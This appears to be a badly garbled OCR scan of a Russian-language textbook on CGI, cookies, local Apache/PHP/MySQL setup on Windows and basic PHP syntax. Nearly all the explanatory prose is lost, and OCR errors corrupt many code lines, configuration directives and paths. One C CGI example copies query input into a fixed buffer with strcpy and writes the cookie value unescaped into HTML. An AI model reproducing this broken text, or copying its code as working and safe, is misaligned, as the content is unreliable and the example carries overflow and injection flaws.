Area: <input type=textarea =""> - TeKCT</textarea><br>
<input type=submit>
</form>

, submit ,
:
127462537625367\
Content-Disposition: form-data; name="Name"\n

\n
\
127462537625367\n
Content-Disposition: form-data; name="Box"\n

\n
l\n

127462537625367\n
Content-Disposition: form-data; name="Area"\n
\n

, (
_) . ,
,
. , . . , , , , , . , ,
( \).

HTTP , .

66

I. Web-
, .
( )
( ), , , . ( , )!
.

: , ="-"
( Content-Disposition),

, ( ,
). , .

HTTP ,
\\, \. , , , ,
\. , , .

(file)
, . , , Browse . <input>:
<input type=file
=_
[value=MMH ]
>

- (, \
^) .
:
127462537625367\
Content-Disposition: form-data; ="_";
> f11="\ "\ \
.

.

3. CGI

67

,
( filename).
, , .
, :
,
( , , ).
, ,
.

Cookies
Cookies (
, "" , "", ""). "",
Netscape , .
"" , , , , Cookies, ,
. ,
Cookie -- "".
. , :
, E-mail, (
), , ,
,
. -.
, , ,
.
,
? , -,

, , ,
?
, .
, , , .
: ,
IP-
. , ,
,

68

I. Web-

. , ( , ) IP-
() (
IP-, , , - ). , , .
,
, ,
, .
Cookies. Cookie , ( , !), ( ,
) . , Cookies, ,
, ,
. Cookies ,
,
(
Cookie). , Cookies,
"" ( , ), -- "".
,
? , , Cookies (
. ), , . , HTML- value (, ,
Cookies).
. , .
Cookies, , , Cookies ( ,
). , Cookies . Cookies,
Internet Explorer, "" Netscape, .
, , Cookies
,
. , Internet Explorer.
,
Netscape ( , , ). ...
, .

3. CGI

69

. , Cookie
, . , ,
Cookie, URL , -
( ).
? : , Cookies,
(,
, , Cookies).
"" Cookies
. : ,
, (
,
Cookies). , "" Cookies

- Cookie , ,
( ),
.

Cookie
: Cookie ? " ", . : Cookie
, .
, Content-type,
Cookie. (, , ):
Set-Cookie: name=value; !=; 1!=_; path=nyTb; secure

Cookie HTML <meta>. , , Cookie. :


<meta http-equiv="Set-Cookie"
content="name=value; !=; 1!=_; path=nyTb; secure"
>

, . : , Cookie, <meta>. ,
. . ,

70

I. Web-

, .
^
, , : " ,
?" : " ,
! , (, ,
)".

Cookie:
name
, Cookie.
URL- , . . - . , Cookies
, URL- .

value
, Cookie. , ( Cookie)
URL-. , ,
URL- (, ,
2 , , . .
).

expires
!= Cookie. , Cookie , . ,
expires=Friday,3i-Dec-99 2 3 : 5 9 : 5 9 GMT, ""
"" 31 1999 . , :
, "" Cookie.
(, ,
Cookie 10 , )? ,
. ,
, , , .

domain
!1=_ , Cookie.
. , ,

3. CGI

71

, , ""
Cookie . , , .

path
path=nyrb (, URI),
, Cookie. ,
, , , . : , , , URI ( ) ,
Cookie .

secure
HTTPS, .
( ,
),
.
, (
<meta>), Cookie name value.
: Cookie URL, .

Cookies
Cookies : HTTP_COOKIE , QUERY_STRING,
& ;. , Cookies:
cookiel=valuel cookie2=value2, TO _1
:
cookiel=valuel;cookie2=value2.

,
.


Cookies
, Cookies.
URL- , .

72

I. Web-

\ 3.8. , Cookies
#include <stdio.h>
#include <stdlib.h>
//
void main() {
//
char Buf[1000];
// Cook Cookies
char *Cook = getenv("HTTP_COOKIE") ;
// 5 ("cook="),
// Cookie,
// (. ).
Cook += 5;

// 5

// QUERY_STRING
char *Query = getenv("QUERY_STRING");
// , ,
// , , ,
//
if(strcmp(Query, "")) { // ?
// QUERY_STRING,
// 5 ( "name=") //
strcpy(Buf, Query + 5);
// , Cookie
printf("Set-cookie: cook=%s; "
"expires=Friday,31-Dec-Ol 23:59:59 GMT", Buf);
// Cookie
Cook=Buf;
}

//
printf("Content-type: text/html\n\n") ;
printf ("<htmlxbody>\n") ;
// ( ),
if(strcmp (Cook, "")}
printf("<1>, %s!</hl>\n",Cook);

3. CGI _

73

//

printf ("<form action=/cgi-bin/script . cgi method=get>\n") ;


printf("Baine : " ) ;
printf ("<input type=text name=name value=' %s' >\n", Cook) ;
printf ( "<input type=submit value=' ' >\n" ) ;
printf ( "</f orm>\n" ) ;
printf ("</body></html>") ;

URL . - , . ,
31 2001 URL, ,
- . , ,
"" . ,
Cookie ,
, .
, . URL-
Cookies, , . , , : Cookies
setcookie ( ) ,
Cookies ,
. .
, , ,
Cookies? ...
. .

, - URL . , , (login) (password).


.

. -, , . -,
CGI- , -

74

I. Web-

, ( ) , , , ( , ,
). , -, , .
.
,
basic-. , , :
WWW-Authenticate: Basic 1\="_"
/1.0 401 Unauthorized"

,
. . _ , ,
.
CGI- () , (
), .
, , ( ,
,
(. ) Cancel, . . ). : , login password.
, ,
( )
:
Authorization: Basic TG9naW46UGFzcw==

, , .
, -
(
). , , :
( ),
"., , ".
, ""
. : login password

3. CGI

75

Cookie, ""
. , ,
Authorization: Basic _]<;1

( )
. , , ,
, . .,
.
: REMOTE_USER, .
,
.

II.

.
WEB- APACHE

Apache
:
?
"" Apache, , - Apache Windows 95/98. , ,
MySQL,
Windows. (, !), ,
Web!

, MySQL ( Windows 95/98)


, . , :
MySQL
Windows 95/98, MySQL: http://www.mysql.com.

,
(, Perl),
,
, . ,
100% , -
( - Unix,
Windows). ,
Win32, , , Apache ,
MIIS (Microsoft Internet Information Server Microsoft) ASP (Active Server Pages -
), , , .
, , . ,
HTML-.
SSI (Server-Side Includes ), CGI (Common Gateway Interface ) , -

80

II. . Web- Apache

, . ?
(
) -- Web. - ,
... ,
, "". Apache. ,
,
Windows 95/98 PHP, CGI Perl-
, Unix.


,
.
. :
Apache: http://www.apache.org;
: http://www.php.net;
MySQL: http://www.mysql.com;
Active Perl: www.activestate.com;
, Web-.
: http://www.webclub.ru.
: http://www.phpclub.net.
dk: http://www.dklab.ru.

:
Apache
, Apache Windows 95/98.
"" Apache: http://www.apache.org.
Windows. Apache .

, . , Apache ,
. , , ,
. , ,

4. Apache

81

( ) Apache, , ,
.

:
1. Apache. Next (. 4.1), Yes, .

Welcome to the Apache Web Server Setup program.


This program will install Apache Web Setver on your
computer.
'.
It is strongly recommended thai you exit all Windows pro grams
before running this Setup program.
Click Cancel to quit Setup onb* then dose emy programs you have
running, pick Next to continue with the Setup program.

WARNING: This program is protected by copyright faw end


international treaties,

Unauthorized reproduction or distribution of this program, or any portion


. of it may result in severe civil end criminal penalties, and will be
prosecuted to the maximum extent possible under law.

fciext>

. 4.1. Apache
Choose Destination Location
Setup will install Apache Web Server in the following folder. ,,.;..
To insteif to this folder, dick Next
To install to a different folder, click Browse and select another folder.
You can choose not to install Apache Web Server by clicking Cancel
to exit Setup-

Destination Folder

-. '.---

C:\Program FilesV^acfie GroupNApache

<Eack

1 fcjexo

. 4.2.

-.
Biowse...

82

II. . Web- Apache

2. Next ,
Apache (. 4.2). ,
( , , C : \ P r o g r a m F i l e s \ A p a c h e Group\Apache). -

.
3. Typical ()
Next (. 4.3).
4. Apache
. , Next. .
5. Finish. , .
Setup Type
Click the type of Setup you prefer, then click Next.

Program will be installed wllh the mostcommon


options. Recommendedformostusers.

Compact

Program will be installed with minimum required


options.

Cy.st.om

You may choose the optjonsyouwantto install.


Recommended for advanced users

. 4..

:
Apache
,
. Apache C:\Program FilesX
Apache Group\Apache\htdocs, . ,
,
(, z : )
subst, Windows. ,
.

4. Apache

83

1. , (
). , , C:\INTERNET.
z : .
2. C:\autoexec.bat ( @echo off,
) :
subst Z: C:\INTERNET

3. , z: .
, C:\INTERNET,
z : , . .

, Windows 95/98 . subst " " (


, , Z: C:\INTERNET),
- .
Perl ( ). .

z: -
(, Windows 95/98
DriveSpace). , , , subst, , . Web-, ?
A DriveSpace . DriveSpace, Windows .
Z: home, locaihost.
Apache , http://localhost. .
cgi www. CGI, . ,

( ). . 4.4.
httpd.conf, conf Apache (
C : \ P r o g r a m F i l e s X A p a c h e GroupXApache). , -

, Edit configuration,
| Apache Web Server I
Management. Httpd.conf -- , . ,
, .
4 . 699

II. . Web- Apache

84

. , ,
(,
, ). .
Apache locaihost,
, , - .
- locaihost
iS
ji > |
: JCJ Z:\home\localhost

x;

i ! SI (F:)

j : as>sft(Z:)
B-Q home
-Sl locaihost
CJ cgi

' v '"
cgi

Pi

ww\v

Cl WWW

LiJ

.d

. 4.4.

serverName :
ServerName locaihost

serverName, , . # ( ),
, , Apache
.
DocumentRoot ,
HTML-. ,
z:\home\localhost\www)
DocumentRoot z:/home/localhost/www

, <oirectory/> </oirectory> ( ).
.
:
<Directory z:/>
Options Indexes Includes
AllowOverride All
Allow from all
</Directory>

4. Apache

85

,
( z: ). ,
, SSI
.htaccess .

<Directory ":/Program Files/Apache Group/Apache/htdocs"> -

</oirectory>. , . , . .
, .
Directorylndex :
Directorylndex index.htm index.html

, - ,
HTML-. , ,
, index.php, .. ,
.htaccess .
CU :
ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/"
:
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
, , . , CGI-.
Apache , ,
http: / / l o c a i h o s t / c g i - b i n , z: /home/iocaihost/cgi. CGI , /cgi-bin/
localhost, . CGI- / c g i / .
, <oirectory " : /
Program

Files/Apache

Group/Apache/cgi-bin">

</oirectory>. CGI-. , , .
( !)
:
AddHandler cgi-script .bat .exe .cgi

86

II. . Web- Apache

Apache , exe, bat cgi CGI-.


:
AddType text/html .shtml
AddHandler server-parsed .shtml .html .htm

Apache SSI.
.

: Apache
Apache, !
, , Apache
Web Server, Management Start Apache, , MS-DOS, .
Apache.
, , - h t t p d . c o n f .
. , .
1. MS-DOS. , . command
<Enter>. .
2. DOS:
:

cd "\Program FilesXApache Group\Apache"


apache.exe

3. Apache ,
httpd.conf, .
httpd.conf , ,
- "Apache/1.3.14 (Win32) running..."
, .
Windows
, , .
, , . Start Apache <Ctrl>+<Alt>+<A>, Stop Apache <Ctrl>+<Alt>+<S>.
<Ctrl>+<Alt>+<A>
, <Ctrl>+<Alt>+<S>.
, .

4. Apache

87

html
z:/home/localhost/www, HTML- Apache,
index.html . :
http://localhost/index.html


http://localhost/

SSI
z: /home/iocaihost/www HTML- Apache
test.shtml ( include!):
: 4.1. test.shtml
SSI Test!<hr>
<!--ttinclude virtual="/index.html" >

<hr>
:
http://localhost/test.shtml'

, "SSI Test!", index.html .


, , SSI.

CGI
z: / h o m e / i o c a i h o s t / c g i , CGI, test.bat :
i 4.2. test.bat
@echo off
echo Content-type: text/html
echo.
echo.
Dir

88

II. . Web- Apache

:
http://localhost/cgi-bin/test.bat
DOS dir.

,
Windows: , test.bat, Apache . , ,
,
Windows. test.bat , :
- bat-, , Unix.
- , Apache , , - , h t t p d . c o n f . log-,
C:\Program FilesXApache Group\Apache\logs.

Apache
, Apache , ,
z:/home/localhost/www z:/home/localhost/cgi
CGI. (, ,
) , a Apache .
, , Apache.
: IP-
IP- ( name-based , ). , , hacker, , locaihost,
cracker 1 2 7 . 0 . 0 . 2 .

, "hacker" "cracker"
. ,
Web-, "" . ru . com
.
Unix,
z: /home , (
locaihost). , hacker -

4. Apache

89

z: /home/hacker, (, cgi www, ),


cracker z: /home/cracker. :
access. log ;
errors, log ;
www, , , HTML-;
cgi CGI-.
. 4.5 , .

_
; pY\hom

'- j home
, Cl cracker

- _j hackei
--1J cgi
'Jj WWW
:- '21 lOCOlhOSl

_U cgi
'O www
(jj

. 4.5.

Apache httpd.conf (. ), Windows. , .


httpd.conf ( Edit configuration. ,
.
:
I 4.3.
;

NameVirtualHost 127.0.0.1
#

localhost

<VirtualHost localhost>

ServerAdmin webmasters localhost


ServerName localhost
DocumentRoot "z:/home/localhost/www"
ScriptAlias /cgi/ "z:/home/localhost/cgi/"

90

//. . Web- Apache

ErrorLog z:/home/localhost/error.log
CustomLog z:/home/localhost/access.log common
</VirtualHost>
#

hacker

<VirtualHost

hacker>

ServerAdmin webmaster@hacker.ru
ServerName hacker
DocumentRoot "z:/home/hacker/www"
ScriptAlias /cgi/ "z:/home/hacker/cgi/"
ErrorLog z:/home/hacker/error.log
CustomLog z:/home/hacker/access.log common
</VirtualHost>
#

cracker

<VirtualHost

cracker>

ServerAdmin webmaster@cracker.ru
ServerName cracker
DocumentRoot "z:/home/cracker/www"
ScriptAlias /cgi/ "z:/home/cracker/cgi/"
ErrorLog z:/home/cracker/error.log
CustomLog z:/home/cracker/access.log common
</VirtualHost>

,
<virtuaiHost> locaihost. ,
( , 127.0.0.1) name-based
hacker. , , - ,
<virtualHost> , ,
.

NameVirtuaiHost , IP-
,
, , HTTP 1.1
(, , name-based ).
<virtuaiHost>
(, Directoryindex . .) .
.htaccess , , (
) "" ,
.

4. Apache

91

, cracker
1 2 7 . 0 . 0 . 2 , a hacker -- name-based ? hosts,
C : \ W I N D O W S Windows 95/98/Milienium
C:\wiNNT\SYSTEM32\DRivERS\etc Windows NT Windows 2000.

hosts ( ) hosts . sam, , , !


Microsoft . hosts , .

hosts -- ,
:
127.0.0.1

localhost

localhost 127. . . 1.

, localhost . Microsoft!

,
:
! 4.4. hosts
127.0.0.1

localhost hacker

127.0.0.2

cracker

, hacker ,
localhost. , hosts IP-.
, (, ) ,
. localhost ,
hacker . Apache 127. . . 1
, hacker, <VirtualHost>.
, :
hacker:
hacker;
http: / / h a c k e r ;

92

II. . Web- Apache

z : /home/hacker;

z\ /home/hacker/www,
http: / / h a c k e r / ;

CGI

z:/home/hacker/cgi,

http://hacker/cgi/;
z: /home/hacker.
cracker:
cracker;
h t t p : / / c r a c k e r h t t p : / / 1 2 7 . 0. 0. 2;

z:/home/cracker;
z.-/home/cracker/www,
http: / / c r a c k e r / ;

CGI

z: /home/cracker/cgi,

http://cracker/cgi/;
z : / h o m e / c r a c k e r .

, (, , ) - h t t p : / / 1 2 7 . o . o . l
http: //localhost. , cgi-bin "" , .

Apache.

,
, Stop Apache
I I Apache Web Server I Management.
Apache, , , httpd.conf, .
, Apache ,
.

PHP MySQL
4, ,
, Apache. ,
setup-,

, Apache. , ,
.
,
http://www.php.net Downloads : zip, .
, Win32 Binaries.
4, ,
, , ,
.

. , -,
.

,
. ,
.
. , 4.0.3.
, , , 4.0.10. , ,
, , ,
. , 4,
"" "" .


1. -.
Next (. 5.1).

94

II. . Web- Apache

& Welcome
Welcome to 40. Setup program. This
program will install PHP 4.0.3pl1 on your computer.

You may need to stop your web server before installation. [IS Bnd
PWS do not need to be stopped.
Dick Cancel to quit Setup and then stop your wsb server
necessary. Click Next to continue with the Setup program.
WARNlNG;This program is protected by copyright iaw and
international treaties.

Installer version number 1.0.1 -

Cancel

. 5.1. PHP

2. , I Agree. Standard.
3. , . : \, , ,
C:\program Fiies\PHP4, "" Apache (. 5.2).
Browse... , , , Next, .
S Choose Destination Location
Setup will install PHP 4.0.3pl1 in the following folder
To install into a different folder, click Browse, and select another
folder.
;
'
You can choosi
Setup.

ell PHP (.. by clicking Cancel to exit

Destination Folder
C:\Program Files\PHP4

tiext>

. 5.2.

5. PHP MySQL

95

4. SMTP- (Send Mail Transfer Protocol ), .


, Mail
. , ,
, Outlook Express. ,

Mail .
5. , .
Apache (. 5.3).
. , ,
.
.

Apache, -,
, zip-.
JS Server Type
Please select the type'of http seiver you wish to configure to run
php.
Microsoft FWS on Windows 9x
<" Microsoft FSVS on NT Workstation
f Microsoft IIS 3 or tower
<~ .Microsoft IIS A or higher
<* Apache
Xitami
f* None (or other server}-1 will configure the web server manually

Cancel

. 5..

Apache
1. Apache httpd.conf,
C:\Program Files\Apache Group\Apache\conf. , -

, Edit
configuration I I Apache Web Server I Management.

96 _ II. . Web- Apache


2. :
#AddType application/x-httpd-php php
3. :
AddType application/x-httpd-php php
, php
application/x-httpd-php.
4. :
ScriptAlias /_php/ ": /Program Files/PHP4/"
Action application/x-httpd-php "/_php/php.exe"
, -, _php
, Apache , -,
application/x-httpd-php php.exe.

"_php" ,
, .
5. , Apache,
( I I Apache Web Server I
Management I Stop Apache), . Apache ( ), , -
. , 4.


, PHP- .
z: /home/iocaihost/www test. php :
I 5.1.
echo "It works ! <br>\n";
phpinf ( ) ;
?>

: h t t p : / / i o c a l h o s t / t e s t . p h p . , phpinf ( ) .

5. PHP MySQL

97

, PHP- , CGI-. , CGI- /cgi-bin/ /cgi/,


php- .

, ,
httpd.conf. , Apache.

, Apache, ,
Stop Apache,
.
Apache, .


,
, zip-.
, , FTP (File Transfer
Protocol ) . . , , . , . , .
1. zip- ,
( c : \ P r o g r a m Fiies\PHP4).
, . ,
extensions, .
2. , ,
.
php.ini Windows (
C:\WINDOWS). .
,
. ,
,-, .
3. magic_quotes_gpc :
magic_quotes_gpc=0ff

, . .

98

II. . Web- Apache

4. :
extension_dir=C:\Program Files\PHP4\extensions

,
C:\Program Fiies\pHP4\extensions, . . , . ,
. /, . . , . , , .
5. "" , ;extension=.
,
. GD , php_gd.dll.
MySQL .
6. php.ini.
, Apache ,
, .

MySQL
: Web? ?
( ). : ,
- MySQL , ,
" - " .
, MySQL.
. , .
1.

MySQL
(http://www.mysql.com, Downloads) MySQL. Windows. zip-,
.
2. setup.exe .
Next (. 5.4).
3. Next.
MySQL. C:\mysqi, , ,
.- \Program Fiies\MySQL (. 5.5). Next.

5. PHP MySQL

99

Welcome to the MySQL Setup program, This program


will install MySQL on your computer..
.
"..

It is strongly recommended that you exit all Wiridows programs .


before running this Setup program.
/
. Click Cancel to quit Setup and then close any programs you hove
running, dick Next to continue with the Setup program.

WARNING: This program is protectedby copyright law and/


international treatise.
, .
Unauthorized reproduction or distribution of this program, or any portion
of it may result in severe civil find criminal penalties, and will be
prosecuted to the maximum extent possible under low.
. :

Cancel

. 5.4. MySQL

4. Typical. MySQL.
. MySQL .

Setup will install MySQUn the following folder.4:

': .'; : . ' " <'.

To install to this folder, dick Next.


To install to a different (older, click Browse and select another folder.
You can choose not to install MySQL by clicking Cancel to exit Setup.

r Destination Folder

-& -

I C:\ProgramFiles\MySQL

. 5.5. MySQL

5. MySQL-,
C:\Program Files\MySQL\bin\mysqld.exe.

, , MySQL " " Apache,


,
Apache, MySQL. server.bat z:. :

100

II. . Web- Apache

\ 5.2. server.bat
Secho off
":\Program Files\MySQL\bin\mysqld"
start /m "C:\Program FilesXApache Group\Apache\Apache"
Windows NT Widows 2000, ,
( MySQL , ):
@echo off

start C:\Progra~l\MySQL\bin\mysqld-nt standalone


C:\Progra~l\Apache~l\Apache\Apache -k start

, "" <Ctrl>+<Alt>+<A> (
Apache,
).
6.
Apache MySQL. bat , , shutdown.bat, z : .
| 5.3. shutdown.bat
@echo

off

"C:\Program Files\Apache Group\Apache\Apache" -k shutdown


"C:\Program Files\MySQL\bin\mysqladmin" -u root shutdown

<Ctrl>+<Alt>+<S>.

MySQL
, .
server.bat, . mysql .php z : \ h o m e \ l o c a l h o s t \ w w w .
] 5.4. mysql . php

define ("DBName", "test") ;


define ("HostName", "localhost") ;
define ("UserName", "root") ;

5. PHP MySQL

101

define ("Password", "") ;


if ( !mysql_connect (HostName, UserName, Password) )
{ echo "He " . DBName. " !<br>";
echo mysql_error ( ) ;
exit;
}

mysql_select_db (DBName) ;
// t. ,
// , . .
// "@"
@mysql_query ("create table t(id int, a text)");
// 10
for($i=0; $i<10; $i++)
{

$id=time();
mysql_query ( "insert into t(id, a) values ($id, '$1 !')");

//
$r=mysql_query ("select * from t") ;
f o r ( $ i = 0 ; $i<mysql_num_rows ($r) ;
{

$f=mysql_fetch_array ( $ r ) ;
echo " $ f [ i d ] -> $f [a] <br>\n";

:
http: //localhost/mysql.php

,
.
t ,
.

DBName,

HostName,

UserName

Password. DBName (
test , MySQL ). HostName locaihost, .
UserName root,
. MySQL root ,
Password .


, ,
, , . (
, , ).
? : ", ,
Perl!". , .
Perl, ,
. . : Perl
. ,
, . : Perl
. , (
).
, , ,
Perl...
, , (, ) ,
, Perl .
, (, )
, . Perl ,
( Perl
), . ,
PHP- ( )
, Perl (,
Perl-, , mod_perl).
, , Perl:
.
, , 4 ,

106

III.

, Perl. .

?
, , 4, , . , . ,
, . , , - , . .,
.
4.

, "" .
, , - , . , , . ,
, . .
.
, 4. , ( ,
) . -, , , ,
. - . , () -.
.
, ,
. ? ,
. :
,
"" -, .
, , .
3, , , , . . 4
( ), -.
, ?

6.

107

Perl, , , . ,
, 4 ,
Perl.

,
. , ,
( , , ,
, ). , " ",
, . ,
,
( ), .
, 4
3. , .
: - (, ,
). ,
: , 3
, .
? , , . .
. , ,
- , . , .
. , , , .
(

, .
, "" , - " ". , compiler "", "".
, Perl .

108

III.

PHP


Perl, , ,
Web, (,
, ).
, . , , ,
, - ( , Perl , ), . ,
:
for (long i=0; K1000000;

,
:
for ($i=0; $i<1000000; $i++) ;

Pentium 100 .

, Perl,
4, 3. Perl
100 . , 3 .

, (
, , ),
. , , ,
0,01 0,1 , , , 5 ?

(~

, - : ,
, , .

( ) , Java.

" , , , , , ? , -
(, ), -

6.

109

, ?" , .
, ... .

, ( ).
, .
, ,
"", .
(, )
" "...
, , . .
.
, -
.
. ,
, , .
, , , ,
. ,
, . .
( , ,
for). .
. , , Web .
: ,
,
.
, . . , ,
,
,
.

III. PHP

PHP-
, "Hello world!". ,
. :
echo "Hello world!

. , , .

, . , , "
". , PHP- CGI-,
. .
"i".

, , . :
<body>
Hello world!
</body>

,
HTML-? . -,
,
"" .
? , HTML- ? , .
( 6.1).
! 6.1.
<htmlxbody>
<>! </hl>
<?
// ". "
$dat=date("d.m " ) ;
//
$tm=date("h:i:s");
#

6.

111

echo " : $dat <>\";


echo " : $tm<br>\n" ;
#
echo " 5 : <br>\n";
for($i=l; $i<=5; $i++)
{

echo "<li>Si = ". ($i*$i) ;


echo ", $i = " . ($i*$i*$i) . "\n";

</bodyx/html>

,
"" , - . .
, .
, , : ? HTML- <html> <body>? -
(, ) :
PHP- HTML-,
.
,
printf'oB , HTML- ?
, . , ,
PHP-, , p r i n t f () .

. , , ,
<? ?>. ,
, HTML . - ,
echo ( , : ,
, , ?). . , , , , <? ?>,
, . . , echo
( , ).
, //
.
# / / , .
:

/*

112

III. PHP

...

*/

, , , .
- "" , . , , . , : , .
, :
,
( , ).
, . :
$dat=date("d.m " ) ;

: $dat (,
$, "
") , date ( ) .
, , , -,
( , , ), -,
( ). , , . date ...
, , . , "11.12 01".
, . , . ,
else if-eise,
.
,
, . $tm
"::", date ( ) . .
echo,
. :
echo " : $dat <>\";

: , $, $dat
(, , echo). , ( echo
):
echo " : ",$dat," <>\";

6. _

113

:
echo " : ".$dat." <>\";

" . " ( ).
, , , , "+", :
$="100";
$="200";

echo $a+$b; // "300"


echo $a.$b; // "100200"

, , ,
.
.
"" :
$path="c: /windows"; Sname="win"; $ext="com";
FullPath="$path\$name . $ext" ;

, :
$path=" : /windows"; $name="win"; $ext="com";
$FullPath=$path. "\".$name. ". ".$ext;

Perl , ,
, , . . .
,
.

, ""
5 .
:
for ($i=l; $i<=5; $i++)
{

echo "<li>$i = ". ($i*$i) ;


echo ", Si = " . ($i*$i*$i) . "\n";

for ( $i,
1, , ). , "-". ,

III. PHP

, , , . :
, ,
.
, ?>, HTML-, .
! ( 6.2):
I 6.2.
<htmlxbody>
<> !</hl>
: 29.01 01 <>
: 04:34:16<br>
5 :<>
<li>l = 1, 1 = 1
<li>2 = 4, 2 = 8
<li>3 = 9, 3 = 27
<11>4 = 16, 4 = 64
<li>5 = 25, 5 = 125
</body></html>

, , <? ?>. -
: .

Web
,
. . .
, , ""
HTML-. CGI-
. ?
. . ( HTML),
HTML-.
HTML-
.

6.

115

( - , ) ? . . ,

.
, , .

, , " ,
", . ,

, ,
.
, .

, ? , . , , (
, HTML-). , , 6.1, HTML- ""
. , , , i i s t i . i .php Web-. Web- .

Apache Win32,
II. localhost .
, ,
Windows- . -, ,
, ( ) Unix -
Windows .

. 6.1 -- , ,
( :
z:/home/localhost/www/list 1.1 .php).
URL (http://localhost/listl.l.php).
, Web-.
php ,
, . 5 . 699

116

III. PHP

, , PHP- php.
fahttpiWIocalhost/listl .1 .php

I \^ http://1ocalhost/list1.1 .php

!
: 29.01 01
: 05:32:25
5 :
1 = 1,1 = 1
2 = 4, 2 = 8
3 9, 3 = 27
4 = 16, 4 = 64
5 =25, 5 = 125
^^

lS^ ()

. 6.1. , 6.1

, ,

, , , PHP-
, HTML. ,
, , . , . .
. ...

( ,
, Forth), , .
, , 3 !

, . , . . , , - ,
( ).


:
,
$my_variable , SMy_Variable $MY_VARIABLE.

, $ "" , , .
, (
""
, ...)

,
"" , ,

118

III. PHP
127, , "" ! - ,
.

, , . - , ( , , ,
). ,
( ), --, . , 4 , .
, ,
. . (,
), , .
(, ) .
, .


5 ,
.

integer
, 32 ( 2 147 483 648
2 147 483 647, - ).

double
(
).

string
. ,
, . ,
.
, ""
200300 ( ).
,
.

7. ^ ,

119

array
(, , ,
). ,
=>
( => -
).
. ,
, , . , :
// "", "", "" ""
$a=array(0=>"zzzz", "a"=>"aaa", "b"=>"bbb", "c"="ccc");
echo $a["b"];

// "bbb"

$a["l"]="qq";
// "qq"
$["a"]="new_aaa"; // "new_aaa";

, , array , .

object
, . , ,
->, .
, .


.
: f a l s e
() true (). ( ),
true , 0, false . , (
, )
. false true .
false true . , f a l s e , a true
. , :
echo false;

// , . .

echo true;

// 1

( 7.1).

20

III.

PHP

7.1.

$=100;
if ($a==100) echo " 1!<>"
if ($a==true) echo " !<br>"

true 1,
, ? . ,
. , (, ==, >, < . .) , . ( 7.2) , , ,
, .
! 7.2.

$=100;
$b=true;
echo " = $a<br>";
echo "b = $b<br>";
if($a==$b) echo ' "" b ! ' ;

, , "=100 =, , " />". , ( -


), , $
, , , .
, "" .
, , .
: , ++
1 ( 7.3):
I 7.3. ++

$b=true;

7.

121

echo "b: $b<br>";


$b++;
echo "b: $b<br>";

1, , 4.03.

. : ,
.


,
.


( , ), , ( , new). ,
. , , , , "". ,
, , .


, ( , )
. isSet . :
if (IsSet ($MyVar) )
echo " . $MyVar";

(
,
unset ( ) ), isSet ( ) , .
,

(, ,

122

III. PHP

). , ,

.
,
"" .
( ),
@, ( ).

Unset ( ) .
, . .
,
. :
// $
$a="Hello there!";
// $
// ... - , $
echo $a;
// $
Unset ($) ;
// $
echo $a;

// : $

, Unset ( )
.
. , $
for_dei, :
Unset ( $ A [ " f o r _ d e l " ] ) ;

for_del , , .


,

. .
i s _ i n t e g e r ($ )

true, $ .

7. , ,

123

is_double ( $ a )

true, $ .
is_string($a)
true, $ .
is_array($a)

true, $ .
is_object($)

true, $ .
is_boolean($)

true, $ .
gettype($a)

, , : array, object,
integer, double, string, boolean unknown type
. ,
( , , ,
). , . .
.


,
(,
). .
settype($a,$type)

$ $type ($type
, gettype , boolean).
(, $ "" , settype
($, " i n t e g e r " ) ) , false.


, , , . -
, , . =:
$ =;

\24

III.

,
( , ==), , , . ,
if(a=b)

...

if(a==b)

...

( ),
. :
- :
$=0; $=1;
if($a=$b) echo " "; else echo " b ";

"", , "
b ", , , ( , $=$
, $+$, ,
, 1).

, , ,
( )?
= (, ) : =, == =? .
, "" (
==
), . .


, (, , ,
), .
: (
).
4 ( ).


,
. ( ,
, , , Perl) . , , , .

7. , ,

125

, & ().
:
$=10;
$ = &$;

// $ , $

$=0;

// $=0

echo "b=$b, a=$a"; // "=0, =0"

,
( ). :
$A=array('a' => 'aaa', 'b' => 'bbb');
$b=&$A['b']; // $b , ''

$=0;
// $['']=0;
echo $A['b']/ //
, , , . :
$=('' => ' ' , 'b' => 'bbb');
$b=S$A[ ' ' ] ; // $ , ''
echo " '': (" . $[ ' ' ] . ") " ;

, $
, $ ( echo).
, , , .

, , , SA.

, , . , unset ,
, , ,
.

, , . ,
.

, (), ,
, .
unset ,
, .

126

III. PHP


. , , .


,
. , ,
$ .
:
$=10;
$=20;
$=30;
$="";

// $="" $="" ( $ )

echo $$p; // , $, . . $
$$=1;

/./ $ 100

, , , $.
, $, , $.
,
, . ,
, , .

, , Unix,
"" "" , . . .


, - . , , , , ,
. ""
, , , "20"
10 30 ( "2010") ,
.

7. , ,

127

, $ ,
. , ( ) , , , $ 10. (,
, "Array").
, , (, , ), ,
, .
. ,
, , , . FuncName:
<return_type> FuncName (<typel> $paraml [,<typel> $param2])

- -. -.
,
<return_type>, ( , ).
<typei>, <type2>. , , .

string
, , .

int, long
, (
), ,
. int, 0. !

double, float
, , , .

boot
, (
, false), ( ).

128

III. PHP

( int, ), , .

array
, (. ).
=>. , list.

list
, 0 . , list
array. , , " "
, ""
. , ( , ,
),
, .

object
- . .

void
, , , : "
". ( ), void- false ( ).

mixed
, . , ,
... , mixed
gettypeo settypeo. ,
mixed, ,
.

!
, - . , , . , ...

7. , ,

129

,
- , . , , . .
, .
, , -, , -,
$, . :
// , PI, 3.146
$=2.34*sin(3*PI/8)+5;

//

echo " PI";

// " PI"

echo " ".PI;

// " 3.14"

, "" ,
. , , :
.


: ( ), .
.

FILE_

, .

LINE_

, . ""
.
PHP_VERSION

.
PHP_OS
, .
TRUE true

"".
FALSE f a l s e

"".

130

III. PHP


, .
define , .
(
):
void define(string $name, string $value, bool $case_sen=true);

, $name,
$vaiue. $case_sen true, , ( , , ).
.
:
define("pi",3.14);
define("str","Test string");
echo s i n ( p i / 4 ) ;
echo

str;

,
. ,
.


, , (
) . .
bool defined(string $name)

true, $name .
, , . - .

"", .
, , . "": ",
". : - ,
"-" .

7. , ,

131

, ,
, . , 5
$=5;

, . . 5.
, $ 5. ,
$=$;

, , $ 5, $ 5.
. , ,
, ? , $=$ ! (,
Perl). , : 5 ( , ?). ,
- :
$=($=10);

// $=$=10

$ $ 10. ,
:
$a=3*sin($b=$c+10)+$d;

? ,
, :
$=$+10;
$a=3*sin($c+10)+$d;

, (
- )
.
,
"" ,
.
,
. :
$=10*20;
$="".(10*20);
echo "$:",gettype($)," $b:",gettype($b);
// "200:integer 200:string"

(, , $ string, ),

132

III. PHP

. , . ,
:
$ = i n t v a l ( $ b ) ;
$ = (int)$b;

, :
$b=intval() $b=(int)()

$.
$b=doubleval() $b=(double)()

$.
